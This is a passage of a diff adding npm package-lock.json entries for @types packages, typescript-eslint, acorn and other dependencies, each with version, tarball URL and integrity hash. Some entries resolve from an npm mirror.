+      "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.10.tgz",
+      "integrity": "sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/connect": {
+      "version": "3.4.35",
+      "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz",
+      "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/connect-history-api-fallback": {
+      "version": "1.3.5",
+      "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.3.5.tgz",
+      "integrity": "sha512-h8QJa8xSb1WD4fpKBDcATDNGXghFj6/3GRWG6dhmRcu0RX1Ubasur2Uvx5aeEwlf0MwblEC2bMzzMQntxnw/Cw==",
+      "dependencies": {
+        "@types/express-serve-static-core": "*",
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/eslint": {
+      "version": "8.4.6",
+      "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.4.6.tgz",
+      "integrity": "sha512-/fqTbjxyFUaYNO7VcW5g+4npmqVACz1bB7RTHYuLj+PRjw9hrCwrUXVQFpChUS0JsyEFvMZ7U/PfmvWgxJhI9g==",
+      "dependencies": {
+        "@types/estree": "*",
+        "@types/json-schema": "*"
+      }
+    },
+    "node_modules/@types/estree": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.0.tgz",
+      "integrity": "sha512-WulqXMDUTYAXCjZnk6JtIHPigp55cVtDgDrO2gHRwhyJto21+1zbVCtOYB2L1F9w4qCQ0rOGWBnBe0FNTiEJIQ=="
+    },
+    "node_modules/@types/express": {
+      "version": "4.17.14",
+      "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.14.tgz",
+      "integrity": "sha512-TEbt+vaPFQ+xpxFLFssxUDXj5cWCxZJjIcB7Yg0k0GMHGtgtQgpvx/MUQUeAkNbA9AAGrwkAsoeItdTgS7FMyg==",
+      "dependencies": {
+        "@types/body-parser": "*",
+        "@types/express-serve-static-core": "^4.17.18",
+        "@types/qs": "*",
+        "@types/serve-static": "*"
+      }
+    },
+    "node_modules/@types/express-serve-static-core": {
+      "version": "4.17.31",
+      "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.31.tgz",
+      "integrity": "sha512-DxMhY+NAsTwMMFHBTtJFNp5qiHKJ7TeqOo23zVEM9alT1Ml27Q3xcTH0xwxn7Q0BbMcVEJOs/7aQtUWupUQN3Q==",
+      "dependencies": {
+        "@types/node": "*",
+        "@types/qs": "*",
+        "@types/range-parser": "*"
+      }
+    },
+    "node_modules/@types/graceful-fs": {
+      "version": "4.1.5",
+      "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.5.tgz",
+      "integrity": "sha512-anKkLmZZ+xm4p8JWBf4hElkM4XR+EZeA2M9BAkkTldmcyDY4mbdIJnRghDJH3Ov5ooY7/UAoENtmdMSkaAd7Cw==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/html-minifier-terser": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz",
+      "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg=="
+    },
+    "node_modules/@types/http-proxy": {
+      "version": "1.17.9",
+      "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.9.tgz",
+      "integrity": "sha512-QsbSjA/fSk7xB+UXlCT3wHBy5ai9wOcNDWwZAtud+jXhwOM3l+EYZh8Lng4+/6n8uar0J7xILzqftJdJ/Wdfkw==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/invariant": {
+      "version": "2.2.34",
+      "resolved": "https://registry.nlark.com/@types/invariant/download/@types/invariant-2.2.34.tgz?cache=0&sync_timestamp=1621241403208&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Finvariant%2Fdownload%2F%40types%2Finvariant-2.2.34.tgz",
+      "integrity": "sha1-BeT3n0ZcIAeIQ3TUeVRS+ZVyC74="
+    },
+    "node_modules/@types/istanbul-lib-coverage": {
+      "version": "2.0.3",
+      "resolved": "https://registry.nlark.com/@types/istanbul-lib-coverage/download/@types/istanbul-lib-coverage-2.0.3.tgz?cache=0&sync_timestamp=1621241456732&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fistanbul-lib-coverage%2Fdownload%2F%40types%2Fistanbul-lib-coverage-2.0.3.tgz",
+      "integrity": "sha1-S6jdtyAiH0MuRDvV+RF/0iz9R2I="
+    },
+    "node_modules/@types/istanbul-lib-report": {
+      "version": "3.0.0",
+      "resolved": "https://registry.nlark.com/@types/istanbul-lib-report/download/@types/istanbul-lib-report-3.0.0.tgz",
+      "integrity": "sha1-wUwk8Y6oGQwRjudWK3/5mjZVJoY=",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "*"
+      }
+    },
+    "node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.nlark.com/@types/istanbul-reports/download/@types/istanbul-reports-3.0.1.tgz?cache=0&sync_timestamp=1622582672955&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fistanbul-reports%2Fdownload%2F%40types%2Fistanbul-reports-3.0.1.tgz",
+      "integrity": "sha1-kVP+mLuivVZaY63ZQ21vDX+EaP8=",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/@types/jest": {
+      "version": "26.0.23",
+      "resolved": "https://registry.nlark.com/@types/jest/download/@types/jest-26.0.23.tgz",
+      "integrity": "sha1-obfqs8UDuARR0BnvtYjsY1Iu5Oc=",
+      "dependencies": {
+        "jest-diff": "^26.0.0",
+        "pretty-format": "^26.0.0"
+      }
+    },
+    "node_modules/@types/json-schema": {
+      "version": "7.0.11",
+      "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.11.tgz",
+      "integrity": "sha512-wOuvG1SN4Us4rez+tylwwwCV1psiNVOkJeM3AUWUNWg/jDQY2+HE/444y5gc+jBmRqASOm2Oeh5c1axHobwRKQ=="
+    },
+    "node_modules/@types/json5": {
+      "version": "0.0.29",
+      "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz",
+      "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ=="
+    },
+    "node_modules/@types/mime": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/mime/-/mime-3.0.1.tgz",
+      "integrity": "sha512-Y4XFY5VJAuw0FgAqPNd6NNoV44jbq9Bz2L7Rh/J6jLTiHBSBJa9fxqQIvkIld4GsoDOcCbvzOUAbLPsSKKg+uA=="
+    },
+    "node_modules/@types/node": {
+      "version": "15.12.1",
+      "resolved": "https://registry.nlark.com/@types/node/download/@types/node-15.12.1.tgz?cache=0&sync_timestamp=1622824584187&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fnode%2Fdownload%2F%40types%2Fnode-15.12.1.tgz",
+      "integrity": "sha1-m2B5fe4YlTg6cl+CioachsbKpcI="
+    },
+    "node_modules/@types/parse-json": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz",
+      "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA=="
+    },
+    "node_modules/@types/prettier": {
+      "version": "2.7.1",
+      "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.1.tgz",
+      "integrity": "sha512-ri0UmynRRvZiiUJdiz38MmIblKK+oH30MztdBVR95dv/Ubw6neWSb8u1XpRb72L4qsZOhz+L+z9JD40SJmfWow=="
+    },
+    "node_modules/@types/prop-types": {
+      "version": "15.7.3",
+      "resolved": "https://registry.nlark.com/@types/prop-types/download/@types/prop-types-15.7.3.tgz?cache=0&sync_timestamp=1621242237823&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fprop-types%2Fdownload%2F%40types%2Fprop-types-15.7.3.tgz",
+      "integrity": "sha1-KrDV2i5YFflLC51LldHl8kOrLKc="
+    },
+    "node_modules/@types/q": {
+      "version": "1.5.5",
+      "resolved": "https://registry.npmjs.org/@types/q/-/q-1.5.5.tgz",
+      "integrity": "sha512-L28j2FcJfSZOnL1WBjDYp2vUHCeIFlyYI/53EwD/rKUBQ7MtUUfbQWiyKJGpcnv4/WgrhWsFKrcPstcAt/J0tQ=="
+    },
+    "node_modules/@types/qs": {
+      "version": "6.9.7",
+      "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz",
+      "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw=="
+    },
+    "node_modules/@types/range-parser": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz",
+      "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw=="
+    },
+    "node_modules/@types/react": {
+      "version": "17.0.9",
+      "resolved": "https://registry.nlark.com/@types/react/download/@types/react-17.0.9.tgz?cache=0&sync_timestamp=1622599450864&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Freact%2Fdownload%2F%40types%2Freact-17.0.9.tgz",
+      "integrity": "sha1-EUf7UgAkpiybOEH1y024m3PduH8=",
+      "dependencies": {
+        "@types/prop-types": "*",
+        "@types/scheduler": "*",
+        "csstype": "^3.0.2"
+      }
+    },
+    "node_modules/@types/react-transition-group": {
+      "version": "4.4.1",
+      "resolved": "https://registry.nlark.com/@types/react-transition-group/download/@types/react-transition-group-4.4.1.tgz",
+      "integrity": "sha1-4aPLJ4339H8XtQgrGz2hcXC9RLE=",
+      "dependencies": {
+        "@types/react": "*"
+      }
+    },
+    "node_modules/@types/resolve": {
+      "version": "1.17.1",
+      "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz",
+      "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/retry": {
+      "version": "0.12.0",
+      "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz",
+      "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA=="
+    },
+    "node_modules/@types/scheduler": {
+      "version": "0.16.1",
+      "resolved": "https://registry.nlark.com/@types/scheduler/download/@types/scheduler-0.16.1.tgz?cache=0&sync_timestamp=1621242658440&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fscheduler%2Fdownload%2F%40types%2Fscheduler-0.16.1.tgz",
+      "integrity": "sha1-GIRSBehv8AOFF6q3oYpiprn3EnU="
+    },
+    "node_modules/@types/serve-index": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.1.tgz",
+      "integrity": "sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg==",
+      "dependencies": {
+        "@types/express": "*"
+      }
+    },
+    "node_modules/@types/serve-static": {
+      "version": "1.15.0",
+      "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.0.tgz",
+      "integrity": "sha512-z5xyF6uh8CbjAu9760KDKsH2FcDxZ2tFCsA4HIMWE6IkiYMXfVoa+4f9KX+FN0ZLsaMw1WNG2ETLA6N+/YA+cg==",
+      "dependencies": {
+        "@types/mime": "*",
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/sockjs": {
+      "version": "0.3.33",
+      "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.33.tgz",
+      "integrity": "sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/stack-utils": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.1.tgz",
+      "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw=="
+    },
+    "node_modules/@types/testing-library__jest-dom": {
+      "version": "5.9.5",
+      "resolved": "https://registry.nlark.com/@types/testing-library__jest-dom/download/@types/testing-library__jest-dom-5.9.5.tgz?cache=0&sync_timestamp=1621244003851&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Ftesting-library__jest-dom%2Fdownload%2F%40types%2Ftesting-library__jest-dom-5.9.5.tgz",
+      "integrity": "sha1-W/Jcka0tezjyZLEideXJKmbYSbA=",
+      "dependencies": {
+        "@types/jest": "*"
+      }
+    },
+    "node_modules/@types/trusted-types": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.2.tgz",
+      "integrity": "sha512-F5DIZ36YVLE+PN+Zwws4kJogq47hNgX3Nx6WyDJ3kcplxyke3XIzB8uK5n/Lpm1HBsbGzd6nmGehL8cPekP+Tg=="
+    },
+    "node_modules/@types/warning": {
+      "version": "3.0.0",
+      "resolved": "https://registry.nlark.com/@types/warning/download/@types/warning-3.0.0.tgz?cache=0&sync_timestamp=1621244066786&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fwarning%2Fdownload%2F%40types%2Fwarning-3.0.0.tgz",
+      "integrity": "sha1-DSUBJorY+ZYrdA04fEZU9fjiPlI="
+    },
+    "node_modules/@types/ws": {
+      "version": "8.5.3",
+      "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.3.tgz",
+      "integrity": "sha512-6YOoWjruKj1uLf3INHH7D3qTXwFfEsg1kf3c0uDdSBJwfa/llkwIjrAGV7j7mVgGNbzTQ3HiHKKDXl6bJPD97w==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/yargs": {
+      "version": "15.0.13",
+      "resolved": "https://registry.nlark.com/@types/yargs/download/@types/yargs-15.0.13.tgz?cache=0&sync_timestamp=1621593435560&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fyargs%2Fdownload%2F%40types%2Fyargs-15.0.13.tgz",
+      "integrity": "sha1-NPf+yLOJ1/PB/QgCaldj4HLTxtw=",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@types/yargs-parser": {
+      "version": "20.2.0",
+      "resolved": "https://registry.nlark.com/@types/yargs-parser/download/@types/yargs-parser-20.2.0.tgz",
+      "integrity": "sha1-3T5mmboyN/A0jNCF5GmHgCBIQvk="
+    },
+    "node_modules/@typescript-eslint/eslint-plugin": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.38.1.tgz",
+      "integrity": "sha512-ky7EFzPhqz3XlhS7vPOoMDaQnQMn+9o5ICR9CPr/6bw8HrFkzhMSxuA3gRfiJVvs7geYrSeawGJjZoZQKCOglQ==",
+      "peer": true,
+      "dependencies": {
+        "@typescript-eslint/scope-manager": "5.38.1",
+        "@typescript-eslint/type-utils": "5.38.1",
+        "@typescript-eslint/utils": "5.38.1",
+        "debug": "^4.3.4",
+        "ignore": "^5.2.0",
+        "regexpp": "^3.2.0",
+        "semver": "^7.3.7",
+        "tsutils": "^3.21.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependencies": {
+        "@typescript-eslint/parser": "^5.0.0",
+        "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      },
+      "peerDependenciesMeta": {
+        "typescript": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@typescript-eslint/experimental-utils": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-5.38.1.tgz",
+      "integrity": "sha512-Zv0EcU0iu64DiVG3pRZU0QYCgANO//U1fS3oEs3eqHD1eIVVcQsFd/T01ckaNbL2H2aCqRojY2xZuMAPcOArEA==",
+      "dependencies": {
+        "@typescript-eslint/utils": "5.38.1"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependencies": {
+        "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      }
+    },
+    "node_modules/@typescript-eslint/parser": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-5.38.1.tgz",
+      "integrity": "sha512-LDqxZBVFFQnQRz9rUZJhLmox+Ep5kdUmLatLQnCRR6523YV+XhRjfYzStQ4MheFA8kMAfUlclHSbu+RKdRwQKw==",
+      "peer": true,
+      "dependencies": {
+        "@typescript-eslint/scope-manager": "5.38.1",
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/typescript-estree": "5.38.1",
+        "debug": "^4.3.4"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependencies": {
+        "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      },
+      "peerDependenciesMeta": {
+        "typescript": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@typescript-eslint/scope-manager": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-5.38.1.tgz",
+      "integrity": "sha512-BfRDq5RidVU3RbqApKmS7RFMtkyWMM50qWnDAkKgQiezRtLKsoyRKIvz1Ok5ilRWeD9IuHvaidaLxvGx/2eqTQ==",
+      "dependencies": {
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/visitor-keys": "5.38.1"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      }
+    },
+    "node_modules/@typescript-eslint/type-utils": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-5.38.1.tgz",
+      "integrity": "sha512-UU3j43TM66gYtzo15ivK2ZFoDFKKP0k03MItzLdq0zV92CeGCXRfXlfQX5ILdd4/DSpHkSjIgLLLh1NtkOJOAw==",
+      "dependencies": {
+        "@typescript-eslint/typescript-estree": "5.38.1",
+        "@typescript-eslint/utils": "5.38.1",
+        "debug": "^4.3.4",
+        "tsutils": "^3.21.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependencies": {
+        "eslint": "*"
+      },
+      "peerDependenciesMeta": {
+        "typescript": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@typescript-eslint/types": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-5.38.1.tgz",
+      "integrity": "sha512-QTW1iHq1Tffp9lNfbfPm4WJabbvpyaehQ0SrvVK2yfV79SytD9XDVxqiPvdrv2LK7DGSFo91TB2FgWanbJAZXg==",
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      }
+    },
+    "node_modules/@typescript-eslint/typescript-estree": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-5.38.1.tgz",
+      "integrity": "sha512-99b5e/Enoe8fKMLdSuwrfH/C0EIbpUWmeEKHmQlGZb8msY33qn1KlkFww0z26o5Omx7EVjzVDCWEfrfCDHfE7g==",
+      "dependencies": {
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/visitor-keys": "5.38.1",
+        "debug": "^4.3.4",
+        "globby": "^11.1.0",
+        "is-glob": "^4.0.3",
+        "semver": "^7.3.7",
+        "tsutils": "^3.21.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependenciesMeta": {
+        "typescript": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@typescript-eslint/utils": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-5.38.1.tgz",
+      "integrity": "sha512-oIuUiVxPBsndrN81oP8tXnFa/+EcZ03qLqPDfSZ5xIJVm7A9V0rlkQwwBOAGtrdN70ZKDlKv+l1BeT4eSFxwXA==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.9",
+        "@typescript-eslint/scope-manager": "5.38.1",
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/typescript-estree": "5.38.1",
+        "eslint-scope": "^5.1.1",
+        "eslint-utils": "^3.0.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependencies": {
+        "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      }
+    },
+    "node_modules/@typescript-eslint/utils/node_modules/eslint-scope": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+      "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+      "dependencies": {
+        "esrecurse": "^4.3.0",
+        "estraverse": "^4.1.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/@typescript-eslint/utils/node_modules/estraverse": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+      "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+      "engines": {
+        "node": ">=4.0"
+      }
+    },
+    "node_modules/@typescript-eslint/visitor-keys": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-5.38.1.tgz",
+      "integrity": "sha512-bSHr1rRxXt54+j2n4k54p4fj8AHJ49VDWtjpImOpzQj4qjAiOpPni+V1Tyajh19Api1i844F757cur8wH3YvOA==",
+      "dependencies": {
+        "@typescript-eslint/types": "5.38.1",
+        "eslint-visitor-keys": "^3.3.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      }
+    },
+    "node_modules/@xtuc/ieee754": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
+      "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="
+    },
+    "node_modules/@xtuc/long": {
+      "version": "4.2.2",
+      "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
+      "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="
+    },
+    "node_modules/abab": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz",
+      "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==",
+      "deprecated": "Use your platform's native atob() and btoa() methods instead"
+    },
+    "node_modules/accepts": {
+      "version": "1.3.8",
+      "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
+      "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
+      "dependencies": {
+        "mime-types": "~2.1.34",
+        "negotiator": "0.6.3"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/acorn": {
+      "version": "8.8.0",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.8.0.tgz",
+      "integrity": "sha512-QOxyigPVrpZ2GXT+PFyZTl6TtOFc5egxHIP9IlQ+RbupQuX4RkT/Bee4/kQuC02Xkzg84JcT7oLYtDIQxp+v7w==",
+      "peer": true,
+      "bin": {
+        "acorn": "bin/acorn"
+      },
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/acorn-globals": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz",
+      "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==",
+      "dependencies": {
+        "acorn": "^7.1.1",
+        "acorn-walk": "^7.1.1"
+      }
+    },
+    "node_modules/acorn-globals/node_modules/acorn": {
+      "version": "7.4.1",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
+      "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
+      "bin": {
+        "acorn": "bin/acorn"
+      },
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/acorn-import-attributes": {
+      "version": "1.9.5",
+      "resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz",
+      "integrity": "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==",
+      "peerDependencies": {
+        "acorn": "^8"
+      }
+    },
+    "node_modules/acorn-jsx": {
+      "version": "5.3.2",
+      "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
+      "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
+      "peerDependencies": {
+        "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      }
+    },
+    "node_modules/acorn-node": {
+      "version": "1.8.2",
+      "resolved": "https://registry.npmjs.org/acorn-node/-/acorn-node-1.8.2.tgz",
+      "integrity": "sha512-8mt+fslDufLYntIoPAaIMUe/lrbrehIiwmR3t2k9LljIzoigEPF27eLk2hy8zSGzmR/ogr7zbRKINMo1u0yh5A==",
+      "dependencies": {
+        "acorn": "^7.0.0",
+        "acorn-walk": "^7.0.0",
+        "xtend": "^4.0.2"
+      }
+    },
+    "node_modules/acorn-node/node_modules/acorn": {
+      "version": "7.4.1",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
+      "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
+      "bin": {
+        "acorn": "bin/acorn"
+      },
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/acorn-walk": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz",
+      "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==",
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/address": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/address/-/address-1.2.1.tgz",
